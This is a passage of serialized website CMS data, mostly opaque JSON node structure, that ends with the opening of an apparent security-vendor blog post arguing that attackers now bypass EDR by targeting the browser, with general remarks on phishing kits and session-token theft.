ta":7323,"marks":7324,"value":3801,"nodeType":865},{},[],{"data":7326,"content":7329,"nodeType":925},{"target":7327},{"sys":7328},{"id":3806,"type":922,"linkType":923},[],{"data":7331,"content":7332,"nodeType":866},{},[7333],{"data":7334,"marks":7335,"value":3814,"nodeType":865},{},[],{"data":7337,"content":7338,"nodeType":866},{},[7339],{"data":7340,"marks":7341,"value":3821,"nodeType":865},{},[],{"data":7343,"content":7346,"nodeType":925},{"target":7344},{"sys":7345},{"id":3826,"type":922,"linkType":923},[],{"data":7348,"content":7349,"nodeType":953},{},[],{"data":7351,"content":7352,"nodeType":963},{},[7353],{"data":7354,"marks":7355,"value":3838,"nodeType":865},{},[7356],{"type":961},{"data":7358,"content":7359,"nodeType":866},{},[7360],{"data":7361,"marks":7362,"value":3846,"nodeType":865},{},[7363],{"type":961},{"data":7365,"content":7366,"nodeType":866},{},[7367,7370,7376],{"data":7368,"marks":7369,"value":3853,"nodeType":865},{},[],{"data":7371,"content":7372,"nodeType":882},{"uri":3856},[7373],{"data":7374,"marks":7375,"value":3861,"nodeType":865},{},[],{"data":7377,"marks":7378,"value":3865,"nodeType":865},{},[],{"data":7380,"content":7381,"nodeType":866},{},[7382,7385,7391,7394,7398,7401,7405,7408,7414],{"data":7383,"marks":7384,"value":3872,"nodeType":865},{},[],{"data":7386,"content":7387,"nodeType":882},{"uri":3875},[7388],{"data":7389,"marks":7390,"value":3880,"nodeType":865},{},[],{"data":7392,"marks":7393,"value":2186,"nodeType":865},{},[],{"data":7395,"marks":7396,"value":3888,"nodeType":865},{},[7397],{"type":961},{"data":7399,"marks":7400,"value":3892,"nodeType":865},{},[],{"data":7402,"marks":7403,"value":3897,"nodeType":865},{},[7404],{"type":961},{"data":7406,"marks":7407,"value":3901,"nodeType":865},{},[],{"data":7409,"content":7410,"nodeType":882},{"uri":3904},[7411],{"data":7412,"marks":7413,"value":3909,"nodeType":865},{},[],{"data":7415,"marks":7416,"value":3913,"nodeType":865},{},[],{"data":7418,"content":7421,"nodeType":925},{"target":7419},{"sys":7420},{"id":3918,"type":922,"linkType":923},[],{"data":7423,"content":7424,"nodeType":866},{},[7425,7428,7432],{"data":7426,"marks":7427,"value":3926,"nodeType":865},{},[],{"data":7429,"marks":7430,"value":3931,"nodeType":865},{},[7431],{"type":961},{"data":7433,"marks":7434,"value":1048,"nodeType":865},{},[],{"data":7436,"content":7437,"nodeType":953},{},[],{"data":7439,"content":7440,"nodeType":963},{},[7441],{"data":7442,"marks":7443,"value":3945,"nodeType":865},{},[7444],{"type":961},{"data":7446,"content":7447,"nodeType":866},{},[7448],{"data":7449,"marks":7450,"value":3846,"nodeType":865},{},[7451],{"type":961},{"data":7453,"content":7454,"nodeType":866},{},[7455,7458,7464,7467,7471],{"data":7456,"marks":7457,"value":3959,"nodeType":865},{},[],{"data":7459,"content":7460,"nodeType":882},{"uri":3962},[7461],{"data":7462,"marks":7463,"value":3967,"nodeType":865},{},[],{"data":7465,"marks":7466,"value":3971,"nodeType":865},{},[],{"data":7468,"marks":7469,"value":3976,"nodeType":865},{},[7470],{"type":961},{"data":7472,"marks":7473,"value":3980,"nodeType":865},{},[],{"data":7475,"content":7476,"nodeType":866},{},[7477,7480,7486,7489,7493,7496,7503],{"data":7478,"marks":7479,"value":3987,"nodeType":865},{},[],{"data":7481,"content":7482,"nodeType":882},{"uri":3990},[7483],{"data":7484,"marks":7485,"value":3995,"nodeType":865},{},[],{"data":7487,"marks":7488,"value":3999,"nodeType":865},{},[],{"data":7490,"marks":7491,"value":4004,"nodeType":865},{},[7492],{"type":961},{"data":7494,"marks":7495,"value":4008,"nodeType":865},{},[],{"data":7497,"content":7498,"nodeType":882},{"uri":4011},[7499],{"data":7500,"marks":7501,"value":4017,"nodeType":865},{},[7502],{"type":961},{"data":7504,"marks":7505,"value":4021,"nodeType":865},{},[],{"data":7507,"content":7508,"nodeType":866},{},[7509],{"data":7510,"marks":7511,"value":4028,"nodeType":865},{},[],{"data":7513,"content":7514,"nodeType":953},{},[],{"data":7516,"content":7517,"nodeType":963},{},[7518],{"data":7519,"marks":7520,"value":4039,"nodeType":865},{},[7521],{"type":961},{"data":7523,"content":7524,"nodeType":866},{},[7525],{"data":7526,"marks":7527,"value":4047,"nodeType":865},{},[7528],{"type":961},{"data":7530,"content":7531,"nodeType":866},{},[7532],{"data":7533,"marks":7534,"value":4054,"nodeType":865},{},[],{"data":7536,"content":7539,"nodeType":925},{"target":7537},{"sys":7538},{"id":4059,"type":922,"linkType":923},[],{"data":7541,"content":7542,"nodeType":866},{},[7543],{"data":7544,"marks":7545,"value":4067,"nodeType":865},{},[],{"data":7547,"content":7548,"nodeType":953},{},[],{"data":7550,"content":7551,"nodeType":963},{},[7552],{"data":7553,"marks":7554,"value":4078,"nodeType":865},{},[7555],{"type":961},{"data":7557,"content":7558,"nodeType":866},{},[7559],{"data":7560,"marks":7561,"value":4047,"nodeType":865},{},[7562],{"type":961},{"data":7564,"content":7565,"nodeType":866},{},[7566,7569,7576,7579,7585,7588,7594],{"data":7567,"marks":7568,"value":4092,"nodeType":865},{},[],{"data":7570,"content":7571,"nodeType":882},{"uri":4095},[7572],{"data":7573,"marks":7574,"value":4101,"nodeType":865},{},[7575],{"type":997},{"data":7577,"marks":7578,"value":2186,"nodeType":865},{},[],{"data":7580,"content":7581,"nodeType":882},{"uri":4107},[7582],{"data":7583,"marks":7584,"value":4112,"nodeType":865},{},[],{"data":7586,"marks":7587,"value":2186,"nodeType":865},{},[],{"data":7589,"content":7590,"nodeType":882},{"uri":4118},[7591],{"data":7592,"marks":7593,"value":4123,"nodeType":865},{},[],{"data":7595,"marks":7596,"value":4127,"nodeType":865},{},[],{"data":7598,"content":7599,"nodeType":866},{},[7600,7603,7610,7613,7617,7620,7624],{"data":7601,"marks":7602,"value":21,"nodeType":865},{},[],{"data":7604,"content":7605,"nodeType":882},{"uri":4136},[7606],{"data":7607,"marks":7608,"value":4142,"nodeType":865},{},[7609],{"type":997},{"data":7611,"marks":7612,"value":4146,"nodeType":865},{},[],{"data":7614,"marks":7615,"value":4151,"nodeType":865},{},[7616],{"type":961},{"data":7618,"marks":7619,"value":4155,"nodeType":865},{},[],{"data":7621,"marks":7622,"value":4160,"nodeType":865},{},[7623],{"type":944},{"data":7625,"marks":7626,"value":4164,"nodeType":865},{},[],{"data":7628,"content":7629,"nodeType":866},{},[7630],{"data":7631,"marks":7632,"value":4171,"nodeType":865},{},[],{"data":7634,"content":7635,"nodeType":953},{},[],{"data":7637,"content":7638,"nodeType":963},{},[7639],{"data":7640,"marks":7641,"value":4182,"nodeType":865},{},[7642],{"type":961},{"data":7644,"content":7645,"nodeType":866},{},[7646],{"data":7647,"marks":7648,"value":4047,"nodeType":865},{},[7649],{"type":961},{"data":7651,"content":7652,"nodeType":866},{},[7653,7656,7660,7663,7667],{"data":7654,"marks":7655,"value":4196,"nodeType":865},{},[],{"data":7657,"marks":7658,"value":4201,"nodeType":865},{},[7659],{"type":944},{"data":7661,"marks":7662,"value":4205,"nodeType":865},{},[],{"data":7664,"marks":7665,"value":4210,"nodeType":865},{},[7666],{"type":944},{"data":7668,"marks":7669,"value":4214,"nodeType":865},{},[],{"data":7671,"content":7672,"nodeType":866},{},[7673],{"data":7674,"marks":7675,"value":4221,"nodeType":865},{},[],{"data":7677,"content":7678,"nodeType":1049},{},[7679,7697],{"data":7680,"content":7681,"nodeType":1003},{},[7682],{"data":7683,"content":7684,"nodeType":866},{},[7685,7688,7694],{"data":7686,"marks":7687,"value":873,"nodeType":865},{},[],{"data":7689,"content":7690,"nodeType":882},{"uri":4236},[7691],{"data":7692,"marks":7693,"value":4241,"nodeType":865},{},[],{"data":7695,"marks":7696,"value":4245,"nodeType":865},{},[],{"data":7698,"content":7699,"nodeType":1003},{},[7700],{"data":7701,"content":7702,"nodeType":866},{},[7703,7706,7712],{"data":7704,"marks":7705,"value":873,"nodeType":865},{},[],{"data":7707,"content":7708,"nodeType":882},{"uri":3288},[7709],{"data":7710,"marks":7711,"value":4261,"nodeType":865},{},[],{"data":7713,"marks":7714,"value":4265,"nodeType":865},{},[],{"data":7716,"content":7717,"nodeType":866},{},[7718],{"data":7719,"marks":7720,"value":4272,"nodeType":865},{},[],{"data":7722,"content":7723,"nodeType":953},{},[],{"data":7725,"content":7726,"nodeType":963},{},[7727],{"data":7728,"marks":7729,"value":4283,"nodeType":865},{},[7730],{"type":961},{"data":7732,"content":7733,"nodeType":866},{},[7734],{"data":7735,"marks":7736,"value":4291,"nodeType":865},{},[7737],{"type":961},{"data":7739,"content":7740,"nodeType":866},{},[7741,7744,7748,7751,7757,7760,7764,7767,7771],{"data":7742,"marks":7743,"value":4298,"nodeType":865},{},[],{"data":7745,"marks":7746,"value":4303,"nodeType":865},{},[7747],{"type":961},{"data":7749,"marks":7750,"value":4307,"nodeType":865},{},[],{"data":7752,"content":7753,"nodeType":882},{"uri":1362},[7754],{"data":7755,"marks":7756,"value":4314,"nodeType":865},{},[],{"data":7758,"marks":7759,"value":4318,"nodeType":865},{},[],{"data":7761,"marks":7762,"value":4323,"nodeType":865},{},[7763],{"type":961},{"data":7765,"marks":7766,"value":4327,"nodeType":865},{},[],{"data":7768,"marks":7769,"value":4332,"nodeType":865},{},[7770],{"type":961},{"data":7772,"marks":7773,"value":4336,"nodeType":865},{},[],{"data":7775,"content":7776,"nodeType":866},{},[7777],{"data":7778,"marks":7779,"value":4343,"nodeType":865},{},[],{"data":7781,"content":7784,"nodeType":925},{"target":7782},{"sys":7783},{"id":4348,"type":922,"linkType":923},[],{"data":7786,"content":7787,"nodeType":953},{},[],{"data":7789,"content":7790,"nodeType":963},{},[7791],{"data":7792,"marks":7793,"value":4360,"nodeType":865},{},[7794],{"type":961},{"data":7796,"content":7797,"nodeType":866},{},[7798],{"data":7799,"marks":7800,"value":4368,"nodeType":865},{},[7801],{"type":961},{"data":7803,"content":7804,"nodeType":866},{},[7805,7808,7815,7818,7825],{"data":7806,"marks":7807,"value":4375,"nodeType":865},{},[],{"data":7809,"content":7810,"nodeType":882},{"uri":4378},[7811],{"data":7812,"marks":7813,"value":4384,"nodeType":865},{},[7814],{"type":961},{"data":7816,"marks":7817,"value":4388,"nodeType":865},{},[],{"data":7819,"content":7820,"nodeType":882},{"uri":4391},[7821],{"data":7822,"marks":7823,"value":4397,"nodeType":865},{},[7824],{"type":961},{"data":7826,"marks":7827,"value":4401,"nodeType":865},{},[],{"data":7829,"content":7830,"nodeType":866},{},[7831],{"data":7832,"marks":7833,"value":4408,"nodeType":865},{},[],{"data":7835,"content":7838,"nodeType":925},{"target":7836},{"sys":7837},{"id":4413,"type":922,"linkType":923},[],{"data":7840,"content":7841,"nodeType":866},{},[7842],{"data":7843,"marks":7844,"value":4421,"nodeType":865},{},[],{"data":7846,"content":7847,"nodeType":953},{},[],{"data":7849,"content":7850,"nodeType":963},{},[7851],{"data":7852,"marks":7853,"value":4432,"nodeType":865},{},[7854],{"type":961},{"data":7856,"content":7857,"nodeType":866},{},[7858],{"data":7859,"marks":7860,"value":4440,"nodeType":865},{},[7861],{"type":961},{"data":7863,"content":7864,"nodeType":866},{},[7865,7868,7872,7875,7882],{"data":7866,"marks":7867,"value":4447,"nodeType":865},{},[],{"data":7869,"marks":7870,"value":4452,"nodeType":865},{},[7871],{"type":944},{"data":7873,"marks":7874,"value":4456,"nodeType":865},{},[],{"data":7876,"content":7877,"nodeType":882},{"uri":4459},[7878],{"data":7879,"marks":7880,"value":4465,"nodeType":865},{},[7881],{"type":961},{"data":7883,"marks":7884,"value":4469,"nodeType":865},{},[],{"data":7886,"content":7887,"nodeType":866},{},[7888],{"data":7889,"marks":7890,"value":4476,"nodeType":865},{},[],{"data":7892,"content":7893,"nodeType":866},{},[7894],{"data":7895,"marks":7896,"value":4483,"nodeType":865},{},[],{"data":7898,"content":7899,"nodeType":866},{},[7900],{"data":7901,"marks":7902,"value":4490,"nodeType":865},{},[],{"data":7904,"content":7905,"nodeType":953},{},[],{"data":7907,"content":7908,"nodeType":963},{},[7909],{"data":7910,"marks":7911,"value":4501,"nodeType":865},{},[7912],{"type":961},{"data":7914,"content":7915,"nodeType":866},{},[7916],{"data":7917,"marks":7918,"value":4509,"nodeType":865},{},[7919],{"type":961},{"data":7921,"content":7922,"nodeType":866},{},[7923],{"data":7924,"marks":7925,"value":4516,"nodeType":865},{},[],{"data":7927,"content":7930,"nodeType":925},{"target":7928},{"sys":7929},{"id":4521,"type":922,"linkType":923},[],{"data":7932,"content":7933,"nodeType":866},{},[7934],{"data":7935,"marks":7936,"value":4529,"nodeType":865},{},[],{"data":7938,"content":7939,"nodeType":1049},{},[7940,7949],{"data":7941,"content":7942,"nodeType":1003},{},[7943],{"data":7944,"content":7945,"nodeType":866},{},[7946],{"data":7947,"marks":7948,"value":4542,"nodeType":865},{},[],{"data":7950,"content":7951,"nodeType":1003},{},[7952],{"data":7953,"content":7954,"nodeType":866},{},[7955],{"data":7956,"marks":7957,"value":4552,"nodeType":865},{},[],{"data":7959,"content":7960,"nodeType":866},{},[7961,7964,7971,7974,7978],{"data":7962,"marks":7963,"value":4559,"nodeType":865},{},[],{"data":7965,"content":7966,"nodeType":882},{"uri":4562},[7967],{"data":7968,"marks":7969,"value":4568,"nodeType":865},{},[7970],{"type":961},{"data":7972,"marks":7973,"value":4572,"nodeType":865},{},[],{"data":7975,"marks":7976,"value":4577,"nodeType":865},{},[7977],{"type":944},{"data":7979,"marks":7980,"value":4581,"nodeType":865},{},[],{"data":7982,"content":7983,"nodeType":953},{},[],{"data":7985,"content":7986,"nodeType":963},{},[7987],{"data":7988,"marks":7989,"value":4592,"nodeType":865},{},[7990],{"type":961},{"data":7992,"content":7993,"nodeType":866},{},[7994],{"data":7995,"marks":7996,"value":4600,"nodeType":865},{},[7997],{"type":961},{"data":7999,"content":8000,"nodeType":866},{},[8001],{"data":8002,"marks":8003,"value":4607,"nodeType":865},{},[],{"data":8005,"content":8006,"nodeType":866},{},[8007],{"data":8008,"marks":8009,"value":4614,"nodeType":865},{},[],{"data":8011,"content":8012,"nodeType":953},{},[],{"data":8014,"content":8015,"nodeType":963},{},[8016],{"data":8017,"marks":8018,"value":4625,"nodeType":865},{},[8019],{"type":961},{"data":8021,"content":8022,"nodeType":1049},{},[8023,8036,8049,8062],{"data":8024,"content":8025,"nodeType":1003},{},[8026],{"data":8027,"content":8028,"nodeType":866},{},[8029,8033],{"data":8030,"marks":8031,"value":4639,"nodeType":865},{},[8032],{"type":961},{"data":8034,"marks":8035,"value":4643,"nodeType":865},{},[],{"data":8037,"content":8038,"nodeType":1003},{},[8039],{"data":8040,"content":8041,"nodeType":866},{},[8042,8046],{"data":8043,"marks":8044,"value":4654,"nodeType":865},{},[8045],{"type":961},{"data":8047,"marks":8048,"value":4658,"nodeType":865},{},[],{"data":8050,"content":8051,"nodeType":1003},{},[8052],{"data":8053,"content":8054,"nodeType":866},{},[8055,8059],{"data":8056,"marks":8057,"value":4669,"nodeType":865},{},[8058],{"type":961},{"data":8060,"marks":8061,"value":4673,"nodeType":865},{},[],{"data":8063,"content":8064,"nodeType":1003},{},[8065],{"data":8066,"content":8067,"nodeType":866},{},[8068,8072],{"data":8069,"marks":8070,"value":781,"nodeType":865},{},[8071],{"type":961},{"data":8073,"marks":8074,"value":4687,"nodeType":865},{},[],{"data":8076,"content":8077,"nodeType":953},{},[],{"data":8079,"content":8080,"nodeType":963},{},[8081],{"data":8082,"marks":8083,"value":4698,"nodeType":865},{},[8084],{"type":961},{"data":8086,"content":8087,"nodeType":866},{},[8088],{"data":8089,"marks":8090,"value":4705,"nodeType":865},{},[],{"data":8092,"content":8093,"nodeType":2396},{},[8094,8117,8139,8161,8183,8205,8227,8249,8271,8293,8315,8337],{"data":8095,"content":8096,"nodeType":1869},{},[8097,8107],{"data":8098,"content":8099,"nodeType":1835},{},[8100],{"data":8101,"content":8102,"nodeType":866},{},[8103],{"data":8104,"marks":8105,"value":4722,"nodeType":865},{},[8106],{"type":961},{"data":8108,"content":8109,"nodeType":1835},{},[8110],{"data":8111,"content":8112,"nodeType":866},{},[8113],{"data":8114,"marks":8115,"value":4733,"nodeType":865},{},[8116],{"type":961},{"data":8118,"content":8119,"nodeType":1869},{},[8120,8130],{"data":8121,"content":8122,"nodeType":1835},{},[8123],{"data":8124,"content":8125,"nodeType":866},{},[8126],{"data":8127,"marks":8128,"value":4747,"nodeType":865},{},[8129],{"type":961},{"data":8131,"content":8132,"nodeType":1835},{},[8133],{"data":8134,"content":8135,"nodeType":866},{},[8136],{"data":8137,"marks":8138,"value":4757,"nodeType":865},{},[],{"data":8140,"content":8141,"nodeType":1869},{},[8142,8152],{"data":8143,"content":8144,"nodeType":1835},{},[8145],{"data":8146,"content":8147,"nodeType":866},{},[8148],{"data":8149,"marks":8150,"value":4771,"nodeType":865},{},[8151],{"type":961},{"data":8153,"content":8154,"nodeType":1835},{},[8155],{"data":8156,"content":8157,"nodeType":866},{},[8158],{"data":8159,"marks":8160,"value":4781,"nodeType":865},{},[],{"data":8162,"content":8163,"nodeType":1869},{},[8164,8174],{"data":8165,"content":8166,"nodeType":1835},{},[8167],{"data":8168,"content":8169,"nodeType":866},{},[8170],{"data":8171,"marks":8172,"value":4795,"nodeType":865},{},[8173],{"type":961},{"data":8175,"content":8176,"nodeType":1835},{},[8177],{"data":8178,"content":8179,"nodeType":866},{},[8180],{"data":8181,"marks":8182,"value":4805,"nodeType":865},{},[],{"data":8184,"content":8185,"nodeType":1869},{},[8186,8196],{"data":8187,"content":8188,"nodeType":1835},{},[8189],{"data":8190,"content":8191,"nodeType":866},{},[8192],{"data":8193,"marks":8194,"value":4819,"nodeType":865},{},[8195],{"type":961},{"data":8197,"content":8198,"nodeType":1835},{},[8199],{"data":8200,"content":8201,"nodeType":866},{},[8202],{"data":8203,"marks":8204,"value":4829,"nodeType":865},{},[],{"data":8206,"content":8207,"nodeType":1869},{},[8208,8218],{"data":8209,"content":8210,"nodeType":1835},{},[8211],{"data":8212,"content":8213,"nodeType":866},{},[8214],{"data":8215,"marks":8216,"value":4843,"nodeType":865},{},[8217],{"type":961},{"data":8219,"content":8220,"nodeType":1835},{},[8221],{"data":8222,"content":8223,"nodeType":866},{},[8224],{"data":8225,"marks":8226,"value":4853,"nodeType":865},{},[],{"data":8228,"content":8229,"nodeType":1869},{},[8230,8240],{"data":8231,"content":8232,"nodeType":1835},{},[8233],{"data":8234,"content":8235,"nodeType":866},{},[8236],{"data":8237,"marks":8238,"value":4867,"nodeType":865},{},[8239],{"type":961},{"data":8241,"content":8242,"nodeType":1835},{},[8243],{"data":8244,"content":8245,"nodeType":866},{},[8246],{"data":8247,"marks":8248,"value":4877,"nodeType":865},{},[],{"data":8250,"content":8251,"nodeType":1869},{},[8252,8262],{"data":8253,"content":8254,"nodeType":1835},{},[8255],{"data":8256,"content":8257,"nodeType":866},{},[8258],{"data":8259,"marks":8260,"value":4891,"nodeType":865},{},[8261],{"type":961},{"data":8263,"content":8264,"nodeType":1835},{},[8265],{"data":8266,"content":8267,"nodeType":866},{},[8268],{"data":8269,"marks":8270,"value":4901,"nodeType":865},{},[],{"data":8272,"content":8273,"nodeType":1869},{},[8274,8284],{"data":8275,"content":8276,"nodeType":1835},{},[8277],{"data":8278,"content":8279,"nodeType":866},{},[8280],{"data":8281,"marks":8282,"value":4915,"nodeType":865},{},[8283],{"type":961},{"data":8285,"content":8286,"nodeType":1835},{},[8287],{"data":8288,"content":8289,"nodeType":866},{},[8290],{"data":8291,"marks":8292,"value":4925,"nodeType":865},{},[],{"data":8294,"content":8295,"nodeType":1869},{},[8296,8306],{"data":8297,"content":8298,"nodeType":1835},{},[8299],{"data":8300,"content":8301,"nodeType":866},{},[8302],{"data":8303,"marks":8304,"value":4939,"nodeType":865},{},[8305],{"type":961},{"data":8307,"content":8308,"nodeType":1835},{},[8309],{"data":8310,"content":8311,"nodeType":866},{},[8312],{"data":8313,"marks":8314,"value":4949,"nodeType":865},{},[],{"data":8316,"content":8317,"nodeType":1869},{},[8318,8328],{"data":8319,"content":8320,"nodeType":1835},{},[8321],{"data":8322,"content":8323,"nodeType":866},{},[8324],{"data":8325,"marks":8326,"value":4963,"nodeType":865},{},[8327],{"type":961},{"data":8329,"content":8330,"nodeType":1835},{},[8331],{"data":8332,"content":8333,"nodeType":866},{},[8334],{"data":8335,"marks":8336,"value":4973,"nodeType":865},{},[],{"data":8338,"content":8339,"nodeType":1869},{},[8340,8350],{"data":8341,"content":8342,"nodeType":1835},{},[8343],{"data":8344,"content":8345,"nodeType":866},{},[8346],{"data":8347,"marks":8348,"value":4654,"nodeType":865},{},[8349],{"type":961},{"data":8351,"content":8352,"nodeType":1835},{},[8353],{"data":8354,"content":8355,"nodeType":866},{},[8356],{"data":8357,"marks":8358,"value":4996,"nodeType":865},{},[],{"data":8360,"content":8361,"nodeType":953},{},[],{"data":8363,"content":8364,"nodeType":866},{},[8365,8368,8374],{"data":8366,"marks":8367,"value":5006,"nodeType":865},{},[],{"data":8369,"content":8370,"nodeType":882},{"uri":1728},[8371],{"data":8372,"marks":8373,"value":2812,"nodeType":865},{},[],{"data":8375,"marks":8376,"value":21,"nodeType":865},{},[],{"items":8378},[8379,8381],{"sys":8380,"name":297},{"id":2828},{"sys":8382,"name":2825},{"id":2824},{"items":8384},[8385],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":8386},{"url":5032},"why-your-training-budget-belongs-in-real-time-browser-security","blog/why-your-training-budget-belongs-in-real-time-browser-security",{"json":8390},{"data":8391,"content":8392,"nodeType":1739},{},[8393],{"data":8394,"content":8395,"nodeType":866},{},[8396],{"data":8397,"marks":8398,"value":8399,"nodeType":865},{},[],"Organizations spend billions annually on security awareness training, but can't keep up with attack evolution. Browser-based technical controls can make the difference where training falls short.","Organizations spend billions annually on awareness training. Here's why browser-based technical controls can make the difference where training falls short. ",{"id":8402,"publishedAt":8403},"3UADFvNqybXoCYlWtJPohK","2026-08-12T11:52:40.899Z",{"items":8405},[8406,8408],{"sys":8407,"name":297},{"id":2828},{"sys":8409,"name":342},{"id":8410},"4ksQNCFeBf8H4QIORqpRLw",{"items":8412},[8413,8415,8417,8419,8421,8423,8425,8427,8429,8431,8433,8435,8437,8439],{"sys":8414,"name":297,"slug":298,"tier":31},{"id":294},{"sys":8416,"name":519,"slug":520,"tier":31},{"id":516},{"sys":8418,"name":279,"slug":280,"tier":31},{"id":276},{"sys":8420,"name":554,"slug":555,"tier":45},{"id":551},{"sys":8422,"name":261,"slug":262,"tier":45},{"id":258},{"sys":8424,"name":315,"slug":316,"tier":45},{"id":312},{"sys":8426,"name":475,"slug":476,"tier":45},{"id":472},{"sys":8428,"name":440,"slug":441,"tier":45},{"id":437},{"sys":8430,"name":360,"slug":361,"tier":45},{"id":357},{"sys":8432,"name":607,"slug":608,"tier":45},{"id":604},{"sys":8434,"name":422,"slug":423,"tier":45},{"id":419},{"sys":8436,"name":324,"slug":325,"tier":45},{"id":321},{"sys":8438,"name":571,"slug":572,"tier":45},{"id":568},{"sys":8440,"name":244,"slug":245,"tier":45},{"id":241},"AUI3W3xOkFC745RamDcux4zdpTSSzBzbv9oKjLfOMco",{"id":8443,"title":8444,"authorsCollection":8445,"content":8452,"extension":228,"faqItemsCollection":9328,"faqTitle":59,"featured":6,"hashTags":59,"meta":9330,"metaTitle":9331,"ogImage":59,"postType":1783,"publishedDate":2818,"relatedBlogPostsCollection":9332,"slug":11435,"stem":11436,"subtitle":59,"summary":11437,"synopsis":11448,"sys":11449,"tagsCollection":11452,"topicsCollection":11458,"__hash__":11490},"blog/blog/why-modern-browser-attacks-evade-edr.json","Your EDR is working exactly as intended. Attackers are getting around it anyway.",{"items":8446},[8447],{"fullName":8448,"firstName":8449,"jobTitle":3776,"socialLinks":59,"profilePicture":8450},"Peyton Padfield","Peyton",{"url":8451},"https://images.ctfassets.net/y1cdw1ablpvd/1GU01HXElmc07nwi89qP3b/3188050420106c62e9df2ed4e4893b7f/1677005177901__1_.jpeg",{"json":8453,"links":9253},{"data":8454,"content":8455,"nodeType":1739},{},[8456,8464,8471,8478,8485,8492,8512,8530,8533,8541,8548,8566,8572,8591,8598,8601,8609,8616,8623,8630,8637,8644,8662,8669,8686,8693,8709,8716,8733,8740,8769,8775,8778,8786,8793,8801,8831,8839,8846,8853,8861,8901,8907,8910,8918,8925,8933,8940,8947,8955,8962,8970,8977,8985,8992,9019,9025,9028,9036,9043,9051,9058,9065,9073,9080,9087,9094,9102,9109,9116,9122,9125,9133,9140,9206,9214,9233,9236],{"data":8457,"content":8458,"nodeType":963},{},[8459],{"data":8460,"marks":8461,"value":8463,"nodeType":865},{},[8462],{"type":961},"Why endpoint security has a blind spot in the browser ",{"data":8465,"content":8466,"nodeType":866},{},[8467],{"data":8468,"marks":8469,"value":8470,"nodeType":865},{},[],"Modern EDR makes compromising the OS hard. Process execution, memory behavior, file system changes: all of it under real-time scrutiny from an agent that never sleeps. Getting in through the endpoint is expensive, noisy, and increasingly not worth the effort.",{"data":8472,"content":8473,"nodeType":866},{},[8474],{"data":8475,"marks":8476,"value":8477,"nodeType":865},{},[],"So attackers expanded their focus. ",{"data":8479,"content":8480,"nodeType":866},{},[8481],{"data":8482,"marks":8483,"value":8484,"nodeType":865},{},[],"The browser is the logical target. It's where work happens now. Authentication, data access, application administration, sensitive file handling — all of it inside a browser tab, with no real security instrumentation, no behavioral detection, and no one paying attention. ",{"data":8486,"content":8487,"nodeType":866},{},[8488],{"data":8489,"marks":8490,"value":8491,"nodeType":865},{},[],"The endpoint got Falcon, Defender, Singularity, Cortex, etc. The browser didn't. And the economics made the choice obvious: a PhaaS kit that proxies credentials and steals session tokens costs about $1k a year, a credential list off a dark web marketplace runs $15, and an admin-level account from an initial access broker goes for a few thousand dollars. None of those require getting past an endpoint agent.",{"data":8493,"content":8494,"nodeType":866},{},[8495,8499,8508],{"data":8496,"marks":8497,"value":8498,"nodeType":865},{},[],"We've written before about ",{"data":8500,"content":8502,"nodeType":882},{"uri":8501},"https://pushsecurity.com/blog/push-plus-endpoint-security",[8503],{"data":8504,"marks":8505,"value":8507,"nodeType":865},{},[8506],{"type":997},"how Push and endpoint security fit together",{"data":8509,"marks":8510,"value":8511,"nodeType":865},{},[]," and how the two layers complement each other. This post goes further into why succeeding at securing the endpoint isn't enough on its own, and why the gap between what EDR sees and what actually happens in the browser is exactly where attackers have built their playbook.",{"data":8513,"content":8514,"nodeType":866},{},[8515,8518,8526],{"data":8516,"marks":8517,"value":21,"nodeType":865},{},[],{"data":8519,"content":8520,"nodeType":882},{"uri":1362},[8521],{"data":8522,"marks":8523,"value":8525,"nodeType":865},{},[8524],{"type":997},"82% of attack detections are now malware-free",{"data":8527,"marks":8528,"value":8529,"nodeType":865},{},[],", according to CrowdStrike's 2026 Global Threat Report, and that's not because attackers got more sophisticated. If anything, the barrier to entry is considerably lower now. It's because they got smarter about where to target their efforts.",{"data":8531,"content":8532,"nodeType":953},{},[],{"data":8534,"content":8535,"nodeType":963},{},[8536],{"data":8537,"marks":8538,"value":8540,"nodeType":865},{},[8539],{"type":961},"What EDR actually sees",{"data":8542,"content":8543,"nodeType":866},{},[8544],{"data":8545,"marks":8546,"value":8547,"nodeType":865},{},[],"Before behavioral detection, defense meant chasing known-bad indicators: a malicious hash was identified, it got blocked, the attacker changed the hash, and the cycle repeated indefinitely. EDR broke that dynamic by running an agent inside the operating system and watching what actually happened on the host — process execution, file system changes, memory behavior, registry modifications.",{"data":8549,"content":8550,"nodeType":866},{},[8551,8554,8562],{"data":8552,"marks":8553,"value":873,"nodeType":865},{},[],{"data":8555,"content":8557,"nodeType":882},{"uri":8556},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/",[8558],{"data":8559,"marks":8560,"value":8561,"nodeType":865},{},[],"Pyramid of Pain",{"data":8563,"marks":8564,"value":8565,"nodeType":865},{},[]," explains why this worked. Tools and indicators at the bottom of the pyramid are trivially easy for attackers to rotate, while behavioral TTPs at the top are expensive to change. EDR moved detection up the pyramid, which is why fileless attacks, living-off-the-land techniques, and lateral movement started getting caught. It's also why attackers shifted their focus away from the OS.",{"data":8567,"content":8571,"nodeType":925},{"target":8568},{"sys":8569},{"id":8570,"type":922,"linkType":923},"2N04ycJ6RKGfHdX5X1TwU3",[],{"data":8573,"content":8574,"nodeType":866},{},[8575,8579,8587],{"data":8576,"marks":8577,"value":8578,"nodeType":865},{},[],"All of that visibility ends at the browser boundary. From the EDR agent's perspective, Chrome is a well-behaved process. It opens, connects to the internet, does browser things. The agent can see the process, but it can't see which tab is open, what the page is rendering, what scripts are executing, or whether the login form the user just submitted was real or a convincing ",{"data":8580,"content":8582,"nodeType":882},{"uri":8581},"https://pushsecurity.com/blog/2025-top-phishing-trends/",[8583],{"data":8584,"marks":8585,"value":8586,"nodeType":865},{},[],"cloned page",{"data":8588,"marks":8589,"value":8590,"nodeType":865},{},[],". It doesn't know whether the session token that just got issued is about to leave the organization.",{"data":8592,"content":8593,"nodeType":866},{},[8594],{"data":8595,"marks":8596,"value":8597,"nodeType":865},{},[],"For browser-based attacks, EDR registers nothing unusual, because nothing unusual happened at the OS layer. EDR worked — but the attackers worked around it.",{"data":8599,"content":8600,"nodeType":953},{},[],{"data":8602,"content":8603,"nodeType":963},{},[8604],{"data":8605,"marks":8606,"value":8608,"nodeType":865},{},[8607],{"type":961},"The attack surface has moved beyond the endpoint",{"data":8610,"content":8611,"nodeType":866},{},[8612],{"data":8613,"marks":8614,"value":8615,"nodeType":865},{},[],"Attackers didn't stumble into the browser. They moved there deliberately, and the tooling reflects 